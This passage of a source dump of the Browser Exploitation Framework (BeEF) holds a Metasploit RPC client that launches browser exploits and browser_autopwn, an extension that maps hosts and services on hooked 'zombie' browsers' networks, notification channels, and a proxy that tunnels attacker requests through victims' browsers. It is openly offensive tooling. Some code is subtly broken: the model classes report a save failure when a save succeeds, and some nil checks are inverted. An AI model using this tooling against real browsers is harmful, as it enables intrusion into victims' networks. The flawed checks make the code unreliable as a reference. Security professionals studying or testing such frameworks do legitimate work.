    end\n\n          true\n        end\n\n        def get_lock\n          sleep 0.2 while @lock\n          @lock = true\n        end\n\n        def release_lock\n          @lock = false\n        end\n\n        def call(meth, *args)\n          super(meth, *args)\n        rescue StandardError => e\n          print_error \"[Metasploit] RPC call to '#{meth}' failed: #{e}\"\n          print_error e.backtrace\n          nil\n        end\n\n        def unit_test_init\n          @unit_test = true\n        end\n\n        # login to metasploit\n        def login\n          get_lock\n\n          res = super(@config['user'], @config['pass'])\n\n          unless res\n            print_error '[Metasploit] Could not authenticate to Metasploit RPC service.'\n            return false\n          end\n\n          unless @lastauth\n            print_info '[Metasploit] Successful connection with Metasploit.' unless @unit_test\n            print_debug \"[Metasploit] Received temporary token: #{token}\"\n\n            # Generate permanent token\n            new_token = token_generate\n            if new_token.nil?\n              print_warning '[Metasploit] Could not retrieve permanent Metasploit token. Connection to Metasploit will time out in 5 minutes.'\n            else\n              self.token = new_token\n              print_debug \"[Metasploit] Received permanent token: #{token}\"\n            end\n          end\n          @lastauth = Time.now\n\n          true\n        ensure\n          release_lock\n        end\n\n        # generate a permanent auth token\n        def token_generate\n          res = call('auth.token_generate')\n\n          return unless res || res['token']\n\n          res['token']\n        end\n\n        def browser_exploits\n          get_lock\n          res = call('module.exploits')\n\n          return [] unless res || res['modules']\n\n          res['modules'].select { |m| m.include?('/browser/') }.sort\n        ensure\n          release_lock\n        end\n\n        def get_exploit_info(name)\n          get_lock\n          res = call('module.info', 'exploit', name)\n          res || {}\n        rescue StandardError => e\n          print_error \"Call module.info for module #{name} failed: #{e.message}\"\n          {}\n        ensure\n          release_lock\n        end\n\n        def get_payloads(name)\n          get_lock\n          res = call('module.compatible_payloads', name)\n          res || {}\n        rescue StandardError => e\n          print_error \"Call module.compatible_payloads for module #{name} failed: #{e.message}\"\n          {}\n        ensure\n          release_lock\n        end\n\n        def get_options(name)\n          get_lock\n          res = call('module.options', 'exploit', name)\n          res || {}\n        rescue StandardError => e\n          print_error \"Call module.options for module #{name} failed: #{e.message}\"\n          {}\n        ensure\n          release_lock\n        end\n\n        def payloads\n          get_lock\n          res = call('module.payloads')\n          return {} unless res || res['modules']\n\n          res['modules']\n        rescue StandardError => e\n          print_error \"Call module.payloads failed: #{e.message}\"\n          {}\n        ensure\n          release_lock\n        end\n\n        def payload_options(name)\n          get_lock\n          res = call('module.options', 'payload', name)\n          return {} unless res\n\n          res\n        rescue StandardError => e\n          print_error \"Call module.options for payload #{name} failed: #{e.message}\"\n          {}\n        ensure\n          release_lock\n        end\n\n        def launch_exploit(exploit, opts)\n          get_lock\n          res = call('module.execute', 'exploit', exploit, opts)\n          proto = opts['SSL'] ? 'https' : 'http'\n          res['uri'] = \"#{proto}://#{@config['callback_host']}:#{opts['SRVPORT']}/#{opts['URIPATH']}\"\n          res\n        rescue StandardError => e\n          print_error \"Exploit failed for #{exploit}\\n#{e.message}\"\n          false\n        ensure\n          release_lock\n        end\n\n        def launch_autopwn\n          opts = {\n            'LHOST' => @config['callback_host'],\n            'URIPATH' => @apurl\n          }\n          get_lock\n          call('module.execute', 'auxiliary', 'server/browser_autopwn', opts)\n        rescue StandardError => e\n          print_error \"Failed to launch browser_autopwn: #{e.message}\"\n          false\n        ensure\n          release_lock\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/network/api.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Network\n      module RegisterHttpHandler\n        BeEF::API::Registrar.instance.register(BeEF::Extension::Network::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')\n\n        # Mounts the handler for processing network host info.\n        #\n        # @param beef_server [BeEF::Core::Server] HTTP server instance\n        def self.mount_handler(beef_server)\n          beef_server.mount('/api/network', BeEF::Extension::Network::NetworkRest.new)\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/network/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    extension:\n        network:\n            name: 'Network'\n            enable: false\n            authors: [\"bcoles\"]\n            description: \"This extension facilitates interaction with hosts on a zombie browser's local area network(s). It provides a point and click interface for performing a variety of actions including host discovery, fingerprinting and exploitation. Identified network hosts are available in the Network -> Hosts panel. Identified network services are available in the Network -> Services panel. Right-click a host or service for more options.\"\n            # enable this option to record private network hosts and services only (RFC1918 IPv4, private IPv6, localhost)\n            ignore_public_ips: false\n"
  },
  {
    "path": "extensions/network/extension.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    #\n    # This extension provides a simple interface for interacting with hosts\n    # on a zombie browser's local area network(s).\n    #\n    module Network\n      extend BeEF::API::Extension\n\n      @short_name = 'network'\n      @full_name = 'Network'\n      @description = \"This extension provides a simple interface for interacting with hosts on a zombie browser's local area networks.\"\n    end\n  end\nend\n\nrequire 'extensions/network/models/network_host'\nrequire 'extensions/network/models/network_service'\nrequire 'extensions/network/api'\nrequire 'extensions/network/rest/network'\n"
  },
  {
    "path": "extensions/network/models/network_host.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Models\n      #\n      # Table stores each host identified on the zombie browser's network(s)\n      #\n      class NetworkHost < BeEF::Core::Model\n        belongs_to :hooked_browser\n\n        #\n        # Stores a network host in the data store\n        #\n        def self.add(host = {})\n          unless BeEF::Filters.is_valid_hook_session_id?(host[:hooked_browser_id])\n            print_error 'Invalid hooked browser session'\n            return\n          end\n          unless BeEF::Filters.is_valid_ip?(host[:ip])\n            print_error 'Invalid IP address'\n            return\n          end\n\n          # save network hosts with private IP addresses only?\n          unless BeEF::Filters.is_valid_private_ip?(host[:ip])\n            configuration = BeEF::Core::Configuration.instance\n            if configuration.get('beef.extension.network.ignore_public_ips') == true\n              print_debug \"Ignoring network host with public IP address [ip: #{host[:ip]}]\"\n              return\n            end\n          end\n\n          # prepare new host for data store\n          new_host = {}\n          new_host[:hooked_browser_id] = host[:hooked_browser_id]\n          new_host[:ip] = host[:ip]\n          new_host[:hostname] = host[:hostname] unless host[:hostname].nil?\n          new_host[:ntype] = host[:ntype] unless host[:ntype].nil?\n          new_host[:os] = host[:os] unless host[:os].nil?\n          new_host[:mac] = host[:mac] unless host[:mac].nil?\n\n          # if host already exists in data store with the same details\n          # then update lastseen and return\n          existing_host = BeEF::Core::Models::NetworkHost.where(hooked_browser_id: new_host[:hooked_browser_id], ip: new_host[:ip]).limit(1)\n          unless existing_host.empty?\n            existing_host = existing_host.first\n            existing_host.lastseen = Time.new.to_i\n            existing_host.save!\n            return\n          end\n\n          # store the new network host details\n          new_host[:lastseen] = Time.new.to_i\n          network_host = BeEF::Core::Models::NetworkHost.new(new_host)\n          if network_host.save\n            print_error 'Failed to save network host'\n            return\n          end\n\n          network_host\n        end\n\n        #\n        # Removes a network host from the data store\n        #\n        def self.delete(id)\n          unless BeEF::Filters.nums_only?(id.to_s)\n            print_error 'Failed to remove network host. Invalid host ID.'\n            return\n          end\n\n          host = BeEF::Core::Models::NetworkHost.find(id.to_i)\n          if host.nil?\n            print_error \"Failed to remove network host [id: #{id}]. Host does not exist.\"\n            return\n          end\n          host.destroy\n        end\n\n        #\n        # Convert a Network Host object to JSON\n        #\n        def to_h\n          {\n            id: id,\n            hooked_browser_id: hooked_browser_id,\n            ip: ip,\n            hostname: hostname,\n            ntype: ntype,\n            os: os,\n            mac: mac,\n            lastseen: lastseen\n          }\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/network/models/network_service.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Models\n      #\n      # Table stores each open port identified on the zombie browser's network(s)\n      #\n      class NetworkService < BeEF::Core::Model\n        belongs_to :hooked_browser\n\n        #\n        # Stores a network service in the data store\n        #\n        def self.add(service = {})\n          unless BeEF::Filters.is_valid_hook_session_id?(service[:hooked_browser_id])\n            print_error 'Invalid hooked browser session'\n            return\n          end\n          unless BeEF::Filters.is_valid_ip?(service[:ip])\n            print_error 'Invalid IP address'\n            return\n          end\n          unless BeEF::Filters.is_valid_port?(service[:port])\n            print_error 'Invalid port'\n            return\n          end\n\n          # save network services with private IP addresses only?\n          unless BeEF::Filters.is_valid_private_ip?(service[:ip])\n            configuration = BeEF::Core::Configuration.instance\n            if configuration.get('beef.extension.network.ignore_public_ips') == true\n              print_debug \"Ignoring network service with public IP address [ip: #{service[:ip]}]\"\n              return\n            end\n          end\n\n          # store the returned network host details\n          BeEF::Core::Models::NetworkHost.create(\n            hooked_browser_id: service[:hooked_browser_id],\n            ip: service[:ip]\n          )\n\n          # prevent duplicates\n          total = BeEF::Core::Models::NetworkService.where(\n            hooked_browser_id: service[:hooked_browser_id],\n            proto: service[:proto],\n            ip: service[:ip],\n            port: service[:port],\n            ntype: service[:ntype]\n          ).length\n          return if total.positive?\n\n          # store the returned network service details\n          network_service = BeEF::Core::Models::NetworkService.new(\n            hooked_browser_id: service[:hooked_browser_id],\n            proto: service[:proto],\n            ip: service[:ip],\n            port: service[:port],\n            ntype: service[:ntype]\n          )\n          if network_service.save\n            print_error 'Failed to save network service'\n            return\n          end\n\n          network_service\n        end\n\n        # Convert a Network Service object to JSON\n        def to_h\n          {\n            id: id,\n            hooked_browser_id: hooked_browser_id,\n            proto: proto,\n            ip: ip,\n            port: port,\n            ntype: ntype\n          }\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/network/rest/network.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Network\n      # This class handles the routing of RESTful API requests that interact with network services on the zombie's LAN\n      class NetworkRest < BeEF::Core::Router::Router\n        # Filters out bad requests before performing any routing\n        before do\n          config = BeEF::Core::Configuration.instance\n          @nh = BeEF::Core::Models::NetworkHost\n          @ns = BeEF::Core::Models::NetworkService\n          @hb = BeEF::Core::Models::HookedBrowser\n\n          # Require a valid API token from a valid IP address\n          halt 401 unless params[:token] == config.get('beef.api_token')\n          halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)\n\n          headers 'Content-Type' => 'application/json; charset=UTF-8',\n                  'Pragma' => 'no-cache',\n                  'Cache-Control' => 'no-cache',\n                  'Expires' => '0'\n        end\n\n        # Returns the entire list of network hosts for all zombies\n        get '/hosts' do\n          hosts = @nh.all.distinct.order(:id)\n          count = hosts.length\n\n          result = {}\n          result[:count] = count\n          result[:hosts] = []\n          hosts.each do |host|\n            result[:hosts] << host.to_h\n          end\n\n          result.to_json\n        rescue StandardError => e\n          print_error \"Internal error while retrieving host list (#{e.message})\"\n          halt 500\n        end\n\n        # Returns the entire list of network services for all zombies\n        get '/services' do\n          services = @ns.all.distinct.order(:id)\n          count = services.length\n\n          result = {}\n          result[:count] = count\n          result[:services] = []\n          services.each do |service|\n            result[:services] << service.to_h\n          end\n\n          result.to_json\n        rescue StandardError => e\n          print_error \"Internal error while retrieving service list (#{e.message})\"\n          halt 500\n        end\n\n        # Returns all hosts given a specific hooked browser id\n        get '/hosts/:id' do\n          id = params[:id]\n\n          hooked_browser = @hb.where(session: id).distinct\n          hosts = @nh.where(hooked_browser: hooked_browser).distinct.order(:hooked_browser)\n          count = hosts.length\n\n          result = {}\n          result[:count] = count\n          result[:hosts] = []\n          hosts.each do |host|\n            result[:hosts] << host.to_h\n          end\n\n          result.to_json\n        rescue InvalidParamError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while retrieving hosts list for hooked browser with id #{id} (#{e.message})\"\n          halt 500\n        end\n\n        # Returns all services given a specific hooked browser id\n        get '/services/:id' do\n          id = params[:id]\n\n          services = @ns.where(hooked_browser_id: id).distinct.order(:id)\n          count = services.length\n\n          result = {}\n          result[:count] = count\n          result[:services] = []\n          services.each do |service|\n            result[:services] << service.to_h\n          end\n\n          result.to_json\n        rescue InvalidParamError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while retrieving service list for hooked browser with id #{id} (#{e.message})\"\n          halt 500\n        end\n\n        # Returns a specific host given its id\n        get '/host/:id' do\n          id = params[:id]\n\n          host = @nh.find(id)\n          raise InvalidParamError, 'id' if host.nil?\n\n          halt 404 if host.nil?\n\n          host.to_h.to_json\n        rescue InvalidParamError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while retrieving host with id #{id} (#{e.message})\"\n          halt 500\n        end\n\n        # Deletes a specific host given its id\n        delete '/host/:id' do\n          id = params[:id]\n          raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)\n\n          host = @nh.find(id)\n          halt 404 if host.nil?\n\n          result = {}\n          result['success'] = @nh.delete(id)\n          result.to_json\n        rescue InvalidParamError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while removing network host with id #{id} (#{e.message})\"\n          halt 500\n        end\n\n        # Returns a specific service given its id\n        get '/service/:id' do\n          id = params[:id]\n\n          service = @ns.find(id)\n          raise InvalidParamError, 'id' if service.nil?\n\n          halt 404 if service.empty?\n\n          service.to_h.to_json\n        rescue InvalidParamError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while retrieving service with id #{id} (#{e.message})\"\n          halt 500\n        end\n\n        # Raised when invalid JSON input is passed to an /api/network handler.\n        class InvalidJsonError < StandardError\n          DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/network handler'.freeze\n\n          def initialize(message = nil)\n            super(message || DEFAULT_MESSAGE)\n          end\n        end\n\n        # Raised when an invalid named parameter is passed to an /api/network handler.\n        class InvalidParamError < StandardError\n          DEFAULT_MESSAGE = 'Invalid parameter passed to /api/network handler'.freeze\n\n          def initialize(message = nil)\n            message = \"Invalid \\\"#{message}\\\" parameter passed to /api/network handler\" unless message.nil?\n            super(message)\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/notifications/channels/email.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n#\n#\nrequire 'net/smtp'\n\nmodule BeEF\n  module Extension\n    module Notifications\n      module Channels\n        class Email\n          #\n          # Constructor\n          #\n          def initialize(to_address, message)\n            @config = BeEF::Core::Configuration.instance\n            @from_address = @config.get('beef.extension.notifications.email.from_address')\n            @smtp_host = @config.get('beef.extension.notifications.email.smtp_host')\n            @smtp_port = @config.get('beef.extension.notifications.email.smtp_port')\n            @smtp_tls_enable = @config.get('beef.extension.notifications.email.smtp_tls_enable')\n            @password = @config.get('beef.extension.notifications.email.smtp_tls_password')\n\n            # configure the email client\n            msg = \"Subject: BeEF Notification\\n\\n#{message}\"\n            smtp = Net::SMTP.new @smtp_host, @smtp_port\n            # if @smtp_tls_enable?\n            #  smtp.enable_starttls\n            #  smtp.start('beefproject.com', @from_address, @password, :login) do\n            #    smtp.send_message(msg, @from_address, @to_address)\n            #  end\n            # else\n            smtp.start do\n              smtp.send_message(msg, @from_address, to_address)\n            end\n            # end\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/notifications/channels/ntfy.rb",
    "content": "require 'net/http'\nrequire 'uri'\n\nmodule BeEF\n  module Extension\n    module Notifications\n      module Channels\n        class Ntfy\n\n          # Constructor\n          def initialize(message)\n            @config = BeEF::Core::Configuration.instance\n\n            # Endpoint URL\n            uri = URI.parse(@config.get('beef.extension.notifications.ntfy.endpoint_url'))\n\n            # Create client\n            http = Net::HTTP.new(uri.host, uri.port)\n\n            # Create Request\n            req = Net::HTTP::Post.new(uri.path)\n\n            # Add authentication if configured\n            if @config.get('beef.extension.notifications.ntfy.username') || @config.get('beef.extension.notifications.ntfy.password')\n              req.basic_auth @config.get('beef.extension.notifications.ntfy.username'), @config.get('beef.extension.notifications.ntfy.password')\n            end\n\n            # Set headers and body\n            req.content_type = 'text/plain'\n            req['Title'] = 'BeEF Notification'\n            req.body = message\n\n            # Use SSL if the URI scheme is 'https'\n            http.use_ssl = (uri.scheme == 'https')\n\n            # Send request\n            http.request(req)\n          end\n\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/notifications/channels/pushover.rb",
    "content": "require 'rushover'\n\nmodule BeEF\n  module Extension\n    module Notifications\n      module Channels\n        class Pushover\n          def initialize(message)\n            @config = BeEF::Core::Configuration.instance\n\n            # Configure the Pushover Client\n            client = Rushover::Client.new(@config.get('beef.extension.notifications.pushover.app_key'))\n\n            res = client.notify(@config.get('beef.extension.notifications.pushover.user_key'), message)\n            print_error '[Notifications] Pushover notification failed' unless res.ok?\n          rescue StandardError => e\n            print_error \"[Notifications] Pushover notification initialization failed: '#{e.message}'\"\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/notifications/channels/slack_workspace.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'slack-notifier'\n\nmodule BeEF\n  module Extension\n    module Notifications\n      module Channels\n        class SlackWorkspace\n          def initialize(message)\n            @config = BeEF::Core::Configuration.instance\n\n            # Configure the Slack Client\n            webhook_url = @config.get('beef.extension.notifications.slack.webhook_url')\n            channel = @config.get('beef.extension.notifications.slack.channel')\n            username = @config.get('beef.extension.notifications.slack.username')\n\n            if webhook_url.include?('your_webhook_url') || !webhook_url.start_with?('https://hooks.slack.com/services/')\n              print_error('[Notifications] Invalid Slack WebHook URL')\n              return\n            end\n\n            notifier = Slack::Notifier.new(\n              webhook_url,\n              channel: channel,\n              username: username,\n              http_options: { open_timeout: 10 }\n            )\n\n            notifier.ping message\n\n            print_debug(\"[Notifications] Established Slack notification channel: #{webhook_url}\")\n          rescue StandardError => e\n            print_error \"[Notifications] Slack notification initialization failed: #{e.message}\"\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/notifications/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    extension:\n        notifications:\n            enable: false\n            name: Notifications\n            email:\n              enable: false\n              from_address: sender_email_address\n              to_address: receipient_email_address\n              smtp_host: 127.0.0.1\n              smtp_port: 25\n            pushover:\n              enable: false\n              user_key: pushover_user_key\n              app_key: pushover_api_key\n            # To enable WebHooks for your Slack workspace,\n            # go to: https://slack.com/apps/A0F7XDUAZ-incoming-webhooks\n            # Select \"Add Configuration\", then \"Add Incoming WebHooks integration\"\n            slack:\n              enable: false\n              webhook_url: \"your_webhook_url\"\n              channel: \"#beef\"     # Slack channel\n              username: \"notifier\" # Username can be anything\n            ntfy:\n              enable: false\n              endpoint_url: \"https://ntfy.sh/beef-[GUID]\" # Update GUID\n              username: \"\" # Leave blank if not needed\n              password: \"\" # Leave blank if not needed\n\n"
  },
  {
    "path": "extensions/notifications/extension.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Notifications\n      extend BeEF::API::Extension\n\n      @short_name = 'notifications'\n      @full_name = 'Notifications'\n      @description = 'Generates external notifications for events in BeEF'\n    end\n  end\nend\n\nrequire 'extensions/notifications/notifications'\n"
  },
  {
    "path": "extensions/notifications/notifications.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nrequire 'extensions/notifications/channels/email'\nrequire 'extensions/notifications/channels/pushover'\nrequire 'extensions/notifications/channels/slack_workspace'\nrequire 'extensions/notifications/channels/ntfy'\n\n\nmodule BeEF\n  module Extension\n    module Notifications\n      #\n      # Notifications class\n      #\n      class Notifications\n        def initialize(from, event, time_now, hb)\n          @config = BeEF::Core::Configuration.instance\n          return unless @config.get('beef.extension.notifications.enable')\n\n          @from = from\n          @event = event\n          @time_now = time_now\n          @hb = hb\n\n          message = \"#{from} #{event} #{time_now} #{hb}\"\n\n          if @config.get('beef.extension.notifications.email.enable') == true\n            to_address = @config.get('beef.extension.notifications.email.to_address')\n            BeEF::Extension::Notifications::Channels::Email.new(to_address, message)\n          end\n\n          BeEF::Extension::Notifications::Channels::Pushover.new(message) if @config.get('beef.extension.notifications.pushover.enable') == true\n\n          BeEF::Extension::Notifications::Channels::SlackWorkspace.new(message) if @config.get('beef.extension.notifications.slack.enable') == true\n\n          BeEF::Extension::Notifications::Channels::Ntfy.new(message) if @config.get('beef.extension.notifications.ntfy.enable') == true\n\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/proxy/api.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Proxy\n      module API\n        module RegisterHttpHandler\n          BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'pre_http_start')\n          BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')\n\n          def self.pre_http_start(http_hook_server)\n            config = BeEF::Core::Configuration.instance\n            Thread.new do\n              http_hook_server.semaphore.synchronize do\n                BeEF::Extension::Proxy::Proxy.new\n              end\n            end\n          end\n\n          def self.mount_handler(beef_server)\n            beef_server.mount('/api/proxy', BeEF::Extension::Proxy::ProxyRest.new)\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/proxy/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    extension:\n        proxy:\n            name: 'Proxy'\n            enable: false\n            address: \"127.0.0.1\"\n            port: 6789\n            authors: [\"antisnatchor\", \"scotty\"]\n            key: \"beef_key.pem\"\n            cert: \"beef_cert.pem\"\n"
  },
  {
    "path": "extensions/proxy/extension.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Proxy\n      extend BeEF::API::Extension\n\n      @short_name = 'proxy'\n      @full_name = 'proxy'\n      @description = 'The tunneling proxy allows HTTP requests to the hooked origin to be tunneled through the victim browser'\n    end\n  end\nend\n\nrequire 'extensions/requester/models/http'\n# require 'extensions/proxy/models/http'\nrequire 'extensions/proxy/proxy'\nrequire 'extensions/proxy/api'\nrequire 'extensions/proxy/rest/proxy'\n"
  },
  {
    "path": "extensions/proxy/proxy.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'openssl'\n\nmodule BeEF\n  module Extension\n    module Proxy\n      class Proxy\n        HB = BeEF::Core::Models::HookedBrowser\n        H = BeEF::Core::Models::Http\n        @response = nil\n\n        # Multi-threaded Tunneling Proxy: listens on host:port configured in extensions/proxy/config.yaml\n        # and forwards requests to the hooked browser using the Requester component.\n        def initialize\n          @conf = BeEF::Core::Configuration.instance\n          @proxy_server = TCPServer.new(@conf.get('beef.extension.proxy.address'), @conf.get('beef.extension.proxy.port'))\n\n          # setup proxy for SSL/TLS\n          ssl_context = OpenSSL::SSL::SSLContext.new\n          # ssl_context.ssl_version = :TLSv1_2\n\n          # load certificate\n          begin\n            cert_file = @conf.get('beef.extension.proxy.cert')\n            cert = File.read(cert_file)\n            ssl_context.cert = OpenSSL::X509::Certificate.new(cert)\n          rescue StandardError\n            print_error \"[Proxy] Could not load SSL certificate '#{cert_file}'\"\n          end\n\n          # load key\n          begin\n            key_file = @conf.get('beef.extension.proxy.key')\n            key = File.read(key_file)\n            ssl_context.key = OpenSSL::PKey::RSA.new(key)\n          rescue StandardError\n            print_error \"[Proxy] Could not load SSL key '#{key_file}'\"\n          end\n\n          ssl_server = OpenSSL::SSL::SSLServer.new(@proxy_server, ssl_context)\n          ssl_server.start_immediately = false\n\n          loop do\n            ssl_socket = ssl_server.accept\n            Thread.new ssl_socket, &method(:handle_request)\n          end\n        end\n\n        def handle_request(socket)\n          request_line = socket.readline\n\n          # HTTP method # defaults to GET\n          method = request_line[/^\\w+/]\n\n          # Handle SSL requests\n          url_prefix = ''\n          if method == 'CONNECT'\n            # request_line is something like:\n            # CONNECT example.com:443 HTTP/1.1\n            host_port = request_line.split[1]\n            proto = 'https'\n            url_prefix = \"#{proto}://#{host_port}\"\n            loop do\n              line = socket.readline\n              break if line.strip.empty?\n            end\n            socket.puts(\"HTTP/1.0 200 Connection established\\r\\n\\r\\n\")\n            socket.accept\n            print_debug(\"[PROXY] Handled CONNECT to #{host_port}\")\n            request_line = socket.readline\n          end\n\n          method, _path, version = request_line.split\n\n          # HTTP scheme/protocol # defaults to http\n          proto = 'http' unless proto.eql?('https')\n\n          # HTTP version # defaults to 1.0\n          version = 'HTTP/1.0' if version !~ %r{\\AHTTP/\\d\\.\\d\\z}\n\n          # HTTP request path\n          path = request_line[/^\\w+\\s+(\\S+)/, 1]\n\n          # url # proto://host:port + path\n          url = url_prefix + path\n\n          # We're overwriting the URI::Parser UNRESERVED regex to prevent BAD URI errors\n          # when sending attack vectors (see tolerant_parser)\n          # anti: somehow the config below was removed, have a look into this\n          tolerant_parser = URI::Parser.new(UNRESERVED: BeEF::Core::Configuration.instance.get('beef.extension.requester.uri_unreserved_chars'))\n          uri = tolerant_parser.parse(url.to_s)\n\n          uri_path_and_qs = uri.query.nil? ? uri.path : \"#{uri.path}?#{uri.query}\"\n\n          # extensions/requester/api/hook.rb parses raw_request to find port and path\n          raw_request = \"#{[method, uri_path_and_qs, version].join(' ')}\\r\\n\"\n          content_length = 0\n\n          loop do\n            line = socket.readline\n\n            content_length = Regexp.last_match(1).to_i if line =~ /^Content-Length:\\s+(\\d+)\\s*$/\n\n            if line.strip.empty?\n              # read data still in the socket, exactly <content_length> bytes\n              raw_request += \"\\r\\n#{socket.read(content_length)}\" if content_length >= 0\n              break\n            else\n              raw_request += line\n            end\n          end\n\n          # Saves the new HTTP request to the db. It will be processed by the PreHookCallback of the requester component.\n          # IDs are created and incremented automatically by DataMapper.\n          http = H.new(\n            request: raw_request,\n            method: method,\n            proto: proto,\n            domain: uri.host,\n            port: uri.port,\n            path: uri_path_and_qs,\n            request_date: Time.now,\n            hooked_browser_id: get_tunneling_proxy,\n            allow_cross_origin: 'true'\n          )\n          http.save\n          print_debug(\n            \"[PROXY] --> Forwarding request ##{http.id}: \" \\\n            \"domain[#{http.domain}:#{http.port}], \" \\\n            \"method[#{http.method}], \" \\\n            \"path[#{http.path}], \" \\\n            \"cross origin[#{http.allow_cross_origin}]\"\n          )\n\n          # Wait for the HTTP response to be stored in the db.\n          # TODO: re-implement this with EventMachine or with the Observer pattern.\n          sleep 0.5 while H.find(http.id).has_ran != 'complete'\n          @response = H.find(http.id)\n          print_debug \"[PROXY] <-- Response for request ##{@response.id} to [#{@response.path}] on domain [#{@response.domain}:#{@response.port}] correctly processed\"\n\n          response_body = @response['response_data']\n          response_status = @response['response_status_code']\n          headers = @response['response_headers']\n\n          # The following is needed to forward back some of the original HTTP response headers obtained via XHR calls.\n          # Original XHR response headers are stored in extension_requester_http table (response_headers column),\n          # but we are forwarding back only some of them (Server, X-.. - like X-Powered-By -, Content-Type, ... ).\n          # Some of the original response headers need to be removed, like encoding and cache related: for example\n          # about encoding, the original response headers says that the content-length is 1000 as the response is gzipped,\n          # but the final content-length forwarded back by the proxy is clearly bigger. Date header follows the same way.\n          response_headers = ''\n          if response_status != -1 && response_status != 0\n            ignore_headers = %w[\n              Content-Encoding\n              Keep-Alive\n              Cache-Control\n              Vary\n              Pragma\n              Connection\n              Expires\n              Accept-Ranges\n              Transfer-Encoding\n              Date\n            ]\n            headers.each_line do |line|\n              # stripping the Encoding, Cache and other headers\n              header_key = line.split(': ')[0]\n              header_value = line.split(': ')[1]\n              next if header_key.nil?\n              next if ignore_headers.any? { |h| h.casecmp(header_key).zero? }\n\n              # ignore headers with no value (@todo: why?)\n              next if header_value.nil?\n\n              unless header_key == 'Content-Length'\n                response_headers += line\n                next\n              end\n\n              # update Content-Length with the valid one\n              response_headers += \"Content-Length: #{response_body.size}\\r\\n\"\n            end\n          end\n\n          res = \"#{version} #{response_status}\\r\\n#{response_headers}\\r\\n#{response_body}\"\n          socket.write(res)\n          socket.close\n        end\n\n        def get_tunneling_proxy\n          proxy_browser = 